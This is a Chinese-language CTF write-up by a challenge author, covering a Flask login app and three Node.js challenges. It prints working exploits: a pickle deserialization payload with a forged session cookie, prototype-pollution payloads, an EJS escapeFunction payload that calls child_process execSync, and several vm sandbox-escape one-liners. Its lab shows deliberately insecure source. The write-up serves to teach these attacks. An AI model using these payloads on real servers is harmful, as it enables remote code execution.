LoginDemo
题目介绍
1 2 3
| matrix写了一个登录界面,但是大意的他留下了很多敏感的东西,该如何信息收集呢
|
本题考点:
- 常见信息收集之目录扫描
- pickle反序列化
- session伪造
模拟情景:泄露登录逻辑以及采用的不安全的认证机制(pickle),导致的任意代码执行
题目评析:
包含session伪造考点,用于引导学习flask中的session机制,及常见的key泄露方法:包括但不限于文件读取(/proc/self/environ或者/proc/1/environ)、源码泄露(app.py或者config.py等)、暴力破解、内存窃取……为后续学习flask安全问题提供入手点
包含pickle考点,用于引导学习pickle反序列化机制、pickle反序列化漏洞成因,为后续学习pickle VM、find_class绕过、pickle opcode提供入手点
dirsearch目录遍历,发现/robots.txt

访问/robots.txt,发现可疑目录
1 2 3
| User-agent: * Disallow: /SourceOfWebsite Disallow: /admin
|
访问/admin,发现Not Found(骗你的,根本没有admin目录,这只是一个demo
访问/SourceOfWebsite,给源码了
这里解释一下为什么要设置/admin路由:
第一,这是demo,是一个login演示示例,功能是不完善的,我根本没写admin页面
第二,骗ai,如果只是复制了给ai看,做搬运工,ai会给你喝一壶的,你需要分辨ai说的是否正确、是否有用。
注意,这里并不是故意设置障碍,你有无数种方法避开admin思路:
- 如果你了解了robots.txt,然后尝试访问/admin,会发现根本不存在,动手就可以排除
- 如果你用dirsearch,了解目录扫描这个东西,那你会发现dirseach根本没扫出/admin,但是这种工具一定会扫描这种常规路由,没扫出来,说明肯定没有
- 而且,实际上/SourceOfWebsite给了这个网站的代码,如果你不懂,可以让ai解释,他会发现根本没写admin路由。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114
| from flask import Flask, request, render_template, redirect, session, url_for, send_file import sqlite3 import os from binascii import a2b_base64, b2a_base64 import pickle
DATABASE = 'db.sqlite3'
def get_db(): conn = sqlite3.connect(DATABASE) conn.row_factory = sqlite3.Row return conn
def init_db(): if not os.path.exists(DATABASE): conn = get_db() cur = conn.cursor() cur.execute('CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE, password TEXT)') conn.commit() conn.close()
class User: def __init__(self, username, password, signature=None): self.username = username self.password = password self.signature = signature or "这个人很懒,什么都没有写。"
app = Flask(__name__) app.secret_key = "immatrix" @app.route('/') def index(): if 'user' in session: return redirect(url_for('center')) return render_template('index.html')
@app.route('/register', methods=['GET', 'POST']) def register(): username = request.form.get('username') password = request.form.get('password') if not username or not password: return render_template('index.html', reg_error="请填写用户名和密码", login_error=None) conn = get_db() cur = conn.cursor() cur.execute("SELECT * FROM users WHERE username = ?", (username,)) if cur.fetchone(): conn.close() return render_template('index.html', reg_error="用户名已存在", login_error=None) cur.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, password)) conn.commit() conn.close() user_obj = User(username, password) session['user'] = b2a_base64(pickle.dumps(user_obj)).decode() return redirect(url_for('center'))
@app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'GET': return render_template('login.html') username = request.form.get('username') password = request.form.get('password') if not username or not password: return render_template('login.html', login_error="请填写用户名和密码") conn = get_db() cur = conn.cursor() cur.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)) row = cur.fetchone() conn.close() if row: user_obj = User(username, password) session['user'] = b2a_base64(pickle.dumps(user_obj)).decode() return redirect(url_for('center')) else: return render_template('login.html', login_error="用户名或密码错误", reg_error=None)
@app.route('/logout') def logout(): session.clear() return redirect(url_for('index')) @app.route('/center', methods=['GET', 'POST']) def center():
user_data = session.get('user') if not user_data: return redirect(url_for('index')) try: user_obj = pickle.loads(a2b_base64(user_data)) if user_obj is None: return 'User is null. Check your session.' return render_template('center.html', username=getattr(user_obj, 'username', '未知用户'), signature=getattr(user_obj, 'signature', user_obj)) except Exception as e: return f"Exception: {str(e)}"
@app.route('/robots.txt') def robots(): return send_file('robots.txt')
@app.route('/SourceOfWebsite') def source(): return send_file('app.py')
|
源码审计,这里有两个重点
- 看到pickle要注意,pickle反序列化是机制上的安全问题,可以任意构造对象去反序列化(无过滤的话),因此可以实现任意代码执行
app.secret_key = "immatrix",给了session伪造的key,可以session伪造
读懂登录逻辑、了解session结构之后,题目就很清晰了
这里随便注册一个账号

解题脚本如下,(关键点在于把pickle放session的user里,以及pickle反序列化的应用)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| """ 作者: matrix 对应题目: LoginDemo
功能说明: 本脚本用于CTF题目LoginDemo的解题,主要包括: 1. 构造pickle反序列化RCE payload并base64编码 2. 生成包含payload的Flask session cookie """
import pickle from binascii import a2b_base64, b2a_base64 from flask import Flask
class Rce: def __reduce__(self): return (eval, ("__import__('os').popen('cat /flag').read()",))
a = Rce() payload_b64 = b2a_base64(pickle.dumps(a)).decode().strip() print(payload_b64)
app = Flask(__name__) app.secret_key = "immatrix" with app.app_context(): serializer = app.session_interface.get_signing_serializer(app) session_data = {'user': payload_b64} print(session_data) session_cookie = serializer.dumps(session_data) print('[*] session cookie:', session_cookie)
|
运行脚本,直接生成session(当然,也可以用工具去session伪造,比如flask-session-cookie-manager)
1 2 3
| gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9mbGFnJykucmVhZCgplIWUUpQu {'user': 'gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9mbGFnJykucmVhZCgplIWUUpQu'} [*] session cookie: eyJ1c2VyIjoiZ0FTVlJnQUFBQUFBQUFDTUNHSjFhV3gwYVc1emxJd0VaWFpoYkpTVGxJd3FYMTlwYlhCdmNuUmZYeWduYjNNbktTNXdiM0JsYmlnblkyRjBJQzltYkdGbkp5a3VjbVZoWkNncGxJV1VVcFF1In0.aKbchA.6BxgvVzMr9dKvR5dTTjRE68AZuQ
|
写入session

刷新

污染入门:权限劫持
题目介绍
1
| 传说中的 JavaScript 世界,vip 权限高高在上,普通用户望尘莫及。但在黑暗的角落,污染隐隐作祟,不安的气息悄然蔓延。你能否发现这条隐秘通道,悄无声息地扩散污染,最终窃取 vip 的权杖,掌控至高无上的权限?
|
本题考点:
模拟情景:node.js学习平台开课了,只有VIP才能获取课程兑换码,通过原型链污染劫持VIP,拿到课程兑换码(flag)
题目评析:
了解常见的信息收集方式:右键查看源代码
对原型链污染有一个简单了解,理解原型链污染原理
进去之后是一个Node.js VIP培训课程兑换中心
点击获取课程兑换码
显示:您不是VIP用户。(试试右键——>查看页面源代码,有提示哦!)

右键查看源代码
给了hint

结合题目描述,问AI可以知道是原型链污染,并且已经有提示是污染user.vip
payload:
1 2 3 4 5
| { "__proto__": { "vip": true } }
|
用burp抓包传参即可

非常入门的题,其实AI可以直接解出来

这道题看着复杂,实际上POST传递一个参数就行。
在本题的设计下,用ai的话是可以直接出payload的,json框架也都写好了,抓包之后看到是json,填上就行,动手难点就在于POST传参了。
因此,这道题是一个套了壳的GET、POST题目。但是直接出常规题太俗了,如果说能与Web安全实际知识点进行结合,或许更有效果。
所以说,懂一点就能做,但是又可以深入学习,为实际知识提供入手点,是本题的出题目标。
我们来讲一下不结合AI是怎么分析的。
对于了解Node.js的同学,应该一看题目:污染,就知道是原型链的问题了,然后看到hint,可以明白是检查user类(实际上没有类,是语法糖)的vip是否为true,进而用payload解出题目。
污染联动:模板魔法
题目介绍
1
| 污染风暴席卷而来,原型链的暗流与引擎的魔力交织,一切变得扑朔迷离。唯有最敏锐的黑客,才能在这复杂联动中寻觅突破口。你的任务不仅是蔓延污染,还需巧妙利用模板引擎的奥秘,触发隐藏的漏洞,让污染的力量无限放大!
|
本题考点:
- 常见信息收集之查看源代码
- 原型链污染、命令执行
- 模板引擎触发
模拟情景:node.js开课成功,因此开放了课程评价中心,评价内容实时渲染。再次利用原型链污染,通过ejs模板引擎触发,实现任意代码执行。
题目评析:
了解常见的信息收集方式:右键查看源代码、查找开源项目代码。
深入理解原型链污染原理,掌握原型链污染实现任意代码执行的方法
调试ejs模板引擎,掌握模板引擎链的调试方法,对原型链污染的触发有更深刻的体会
作为第二轮的防AK题,本题是”污染“系列难度之最,极其考验选手的信息收集能力,尤其强调代码审计能力及调试能力。
承接该系列背景,是一个课程评价网站。看题目应该知道还是原型链污染。
依旧右键查看源代码
发现一个关键点:npm install body-parser@^1.20.2 ejs@^3.1.9 express@^4.18.2,这是用npm下载本题依赖的命令。
这里其实有两个关键词:第一个原型链污染,这个不用提了,是本系列题目的主旨;第二个是模板引擎,这个结合题目以及题目描述,很多同学都能总结出来。
但是很多同学看到模板引擎以为是SSTI,忽略了结合这两个关键词。
其实搜这两个关键词就能给出大致的思路,就是ejs模板引擎触发原型链污染。
payload如下:
1 2 3 4 5 6 7 8
| { "__proto__":{ "client":true, "escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');", "compileDebug":true }, "msg": "111" }
|
然后抓包看一下,发现不是json传输
所以细节在于需要改Content-Type为json,然后用json格式传payload

大家要是真正理解第一题”污染入门“,就知道原型链污染本身是不能命令执行的,仅仅是改变了属性的值;如果要命令执行,还需要去触发,也就是执行污染过后的值。
结合题目描述,要是了解过原型链污染常见利用手法,会自然的想到模板引擎触发原型链污染,然后可以去网上搜payload。找payload这一步比较困难,需要多信息收集、多尝试。
当然这里给了ejs版本,你可以自己部署,结合网上的文章去调试。**不是只有直接给源代码才叫白盒,用了开源组件也是白盒。**因为直接给了npm下载安装的命令,结合一下ai,写个merge函数就可以跑本地。
我们来解释上面payload,其实就是实现了:
将client污染为true;
将escapeFunction污染为1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');,这是一个代码执行,本质就是通过代码执行cat /flag命令;
将compileDebug污染为true。
本题代码:sangnigege/PrototypePollutionLab: PrototypePollutionLab 是一个开源的原型链污染漏洞靶场,它收录了HCTF2025中一系列CTF题目、源码及Docker环境,旨在帮助用户学习和复现相关漏洞。
然后我们深入一下原理,看看模板引擎是怎么触发我们的原型链污染的。需要本地跑一下这个题的代码,这里是用VScode配合Node.js进行调试。
我们在渲染处下断点,也就是在 res.render('review', renderCtx);下断点,

然后触发渲染:这里用bp传payload即可触发
payload改成了弹计算器1; return global.process.mainModule.constructor._load('child_process').execSync('calc');

会在断点处停下,也就是res.render处停下

按F11或者调试窗口的单步调试,进入response.js模块,
Express 的 res对象是由 response.js 定义和扩展的,render 方法最终会调用模板引擎(如 ejs)进行页面渲染。

继续单步调试,审计本题源代码可以发现,merge函数(原型链污染处)在res.render渲染之前,所以merge函数在断点之前就已经执行,也就是说res.render中opts这里传递的是污染成功的prototype

继续往下,
response.js中,将污染后的opts传给了app.render模块,

我们继续跟进,找到能调用escapeFunction的地方
接下来进入applicattion.js,然后一直调试,直到找到tryRender模块(也可以下个断点直接过来,这个调试技巧下面经常用到),这里也是来调用ejs模块进行渲染,
发现前面污染的opts传给了renderOptions

跟进tryRender,然后在tryRender中跟进view.render方法,options显然是被原型链污染了

继续调试,进入view.js,我们就发现了engine引擎这个关键字,

然后进入this.engine里面,就最终进入到了ejs.js的模块当中,调用ejs.js的入口函数renderFile,renderFile函数最后return tryHandleCache,直接加断点跳过来

我们跟进tryHandleCache函数,进入handleCache函数中

在handleCache模块当中我们看到exports.compile模块,可以看到我们要渲染的index.ejs被渲染到compile函数当中,options是被污染的

继续跟进compile函数,函数在最后renturn templ.compile():

继续跟进,然后我们就进入到了模板引擎调用的部分,
往下找一找,会发现有大量的渲染拼接(有很多别的触发方法,我们这里只讲escapeFunction)
发现这里有两个if要过,所以将client污染为true、将compileDebug污染为true。

下断点跳到这里看看,可以看到src的值里面成功注入了我们的恶意代码

1 2
| `escapeFn = escapeFn || 1; return global.process.mainModule.constructor._load('child_process').execSync('calc');;\nvar __line = 1\n , __lines = "<!DOCTYPE html>\\r\\n<html lang=\\"zh\\">\\r\\n<head>\\r\\n <meta charset=\\"UTF-8\\">\\r\\n <title>Node.js VIP课程评价中心 - 学员留言专区</title>\\r\\n <style>\\r\\n html, body { height: 100%; }\\r\\n body {\\r\\n font-family: 'Segoe UI', '微软雅黑', Arial, sans-serif;\\r\\n background: linear-gradient(120deg,#e0eafc 0%,#cfdef3 100%);\\r\\n … __append(escapeFn( item ))\n ; __append("</div>\\r\\n <div class=\\"review-item\\">")\n ; __line = 80\n ; __append( item )\n ; __append("</div>\\r\\n\\r\\n ")\n ; __line = 82\n ; }) \n ; __append("\\r\\n </div>\\r\\n </div>\\r\\n <div class=\\"footer\\">© 2025 IT Training Node.js课程中心 | 商业合作请联系:it-training@example.com</div>\\r\\n</body>\\r\\n</html>")\n ; __line = 87\n }\n return __output;\n} catch (e) {\n rethrow(e, __lines, __filename, __line, escapeFn);\n}\n`
|
稍稍整理一下,容易看一些
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| escapeFn = escapeFn || 1; return global.process.mainModule.constructor._load('child_process').execSync('calc');; var __line = 1 , __lines = "<!DOCTYPE html>\\r\\n<html lang=\\"zh\\">\\r\\n<head>\\r\\n <meta charset=\\"UTF-8\\">\\r\\n <title>Node.js VIP课程评价中心 - 学员留言专区</title>\\r\\n <style>\\r\\n html, body { height: 100%; }\\r\\n body {\\r\\n font-family: 'Segoe UI', '微软雅黑', Arial, sans-serif;\\r\\n background: linear-gradient(120deg,#e0eafc 0%,#cfdef3 100%);\\r\\n … __append(escapeFn( item )) ; __append("</div>\\r\\n <div class=\\"review-item\\">") ; __line = 80 ; __append( item ) ; __append("</div>\\r\\n\\r\\n ") ; __line = 82 ; }) ; __append("\\r\\n </div>\\r\\n </div>\\r\\n <div class=\\"footer\\">© 2025 IT Training Node.js课程中心 | 商业合作请联系:it-training@example.com</div>\\r\\n</body>\\r\\n</html>") ; __line = 87 } return __output; } catch (e) { rethrow(e, __lines, __filename, __line, escapeFn); }
|
上面其实是编译成的 JavaScript 代码,我们恶意代码包含其中。
这里我们提一下ejs渲染的大致流程:
.ejs模板 → 被EJS编译成一大段 JavaScript 代码 → 构造一个大JS函数(渲染函数)→ 执行渲染函数,输出HTML
注意,上面一大串代码还会继续补充完整,然后再用 Function 或 AsyncFunction 将其构造成渲染函数。如果要了解渲染函数的具体构造过程,可以继续往下审计代码,发现最后returnedFn 会调用 fn.apply(...),而 fn 就是你模板编译出来的 大JS 函数(包含所有模板和 escapeFn 的调用)。当然,具体细节这里无关紧要,懂得大致流程就行。
目前我们的恶意代码是插入了编译成的 JavaScript 代码中,进一步这个恶意代码会污染渲染函数中的一个“工具函数”——escapeFn
可以简单理解为:我们插入的恶意代码,最终会成为大函数的一部分(即大函数中的一个小函数),然后这个大函数会被执行,因此我们的恶意代码自然也会被执行(即大函数里面会调用我们这个小函数)。
成功注入的代码片段为:
1 2
| escapeFn = escapeFn || 1; return global.process.mainModule.constructor._load('child_process').execSync('calc');
|
- 当模板调用
<%- item %> 时,会调用 escapeFn(item)。
- 由于原型污染,escapeFn变成了你的恶意函数体,导致执行了
execSync('calc'),本地应该会弹计算器。
整个过程看着复杂,其实一直在跟着污染之后的代码走,把握这个主线,再有一些调试技巧即可。
污染终极:越狱之路
题目介绍
1
| 污染之力在握,vip权杖仍可窃取,代码亦可随心执行。然而,一切皆是虚妄,沙箱的牢笼坚不可摧,将你的野心死死束缚。真正的高手绝不止步于此——你能否冲破沙箱的重重壁垒,成功越狱,彻底掌控整台服务器?终极挑战,等你来战!
|
本题考点:
- 常见信息收集之查看源代码
- 原型链污染绕过
- node.js内置模块vm之沙箱逃逸
模拟情景:node.js学习平台开课之后,还提供了一个代码练习平台(光教不练怎么能行)。依然是VIP才能练习,在有过滤的情况下,原型链污染劫持VIP,进入代码练习平台。可以做到任意代码执行,但是做不到任意命令执行(代码练习平台有沙箱,实际调用了node.js内置模块vm),沙箱逃逸从而命令执行
题目评析:
了解常见的信息收集方式:右键查看源代码
原型链污染常见的过滤与绕过
了解node.js内置模块vm的沙箱机制,从多角度学习vm沙箱逃逸手法,为后续学习vm2沙箱逃逸提供入手点。
承接该系列背景,是一个代码练习平台

点击在线练习代码
依旧右键查看源代码(hint似乎说的稀里糊涂的,不要急,继续往下

但是看来和污染入门:权限劫持这一题一样,都是劫持VIP。不管了,试试污染入门:权限劫持的payload
回显false

这里可以burp放包,会有弹窗

而且回显

这时再结合题目hint,知道应该是过滤了__proto__
这里用一种别的方式污染,payload:
1 2 3 4 5 6 7
| { "constructor": { "prototype": { "vip": true } } }
|
抓包传payload即可

再点击在线练习代码,成功进入代码练习平台
发现可以任意代码执行

但是不能做到任意命令执行(代码练习平台肯定有一定防护
这道题的难点就在于要结合题目描述,知道是沙箱逃逸(题目名称有“越狱”、题目介绍有“沙箱”
这里用的是node.js内置模块vm,早被打烂了,逃逸方法有很多,列举部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| console.log(this.constructor.constructor('return process')().mainModule.require("child_process").execSync("cat /flag").toString())
console.log(Object.getOwnPropertyNames(this.constructor.constructor('return process')().mainModule.require("child_process")).includes('execSync') ? this.constructor.constructor('return process')().mainModule.require("child_process").execSync("cat /flag").toString() : 'fail')
throw new Proxy({}, { get: function() { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('cat /flag').toString() } })
Error.prepareStackTrace = (_, stack) => stack; var err = new Error(); var stack = err.stack; console.log(stack[0].getThis().constructor.constructor('return process')().mainModule.require("child_process").execSync("cat /flag").toString())
|
获得flag

原理网上有很多文章,搜”vm沙箱逃逸“即可,ai也能讲。
回头再看,污染系列还是出的还是比较用心的,每一题也尽量让大家学到东西,比赛没做出来不要紧,以学习为主。
污染入门:权限劫持,一个套了原型链污染壳的POST传参题,不至于太俗,又可以从一个较为简单的难度入手原型链污染;
污染联动:模板魔法,强化了原型链污染后需要触发利用的意识,并且练习了通过原型链污染命令执行的手法,ejs模板引擎是Node最常用的引擎之一,通过深入调试ejs模板引擎,了解原型链污染的实际场景。
污染终极:越狱之路,简单提了一下原型链污染的绕过技术,然后用到了node内置模块vm的沙箱逃逸,从而把整套题目向node安全进行拓展。
关键的是尽可能情景化,都是对网站实际的功能点进行漏洞利用,尽可能让大家体会到web安全相对真实的场景。第一道是一个鉴权,验证是否是VIP;第二道是评论功能,并且变相的给了源码;第三道是有过滤的鉴权(可以说这里上了一点攻防),鉴权之后有一个代码练习的功能。
考虑到新生赛,所以没出啥新奇东西,整套题的提示也挺明显(大致方向都给了),漏洞利用技巧也很常见(各种文章网上有很多),主要是在知识点上难为大家,而不是对脑洞。比较中正平和,还是那句话,力求让大家学到东西。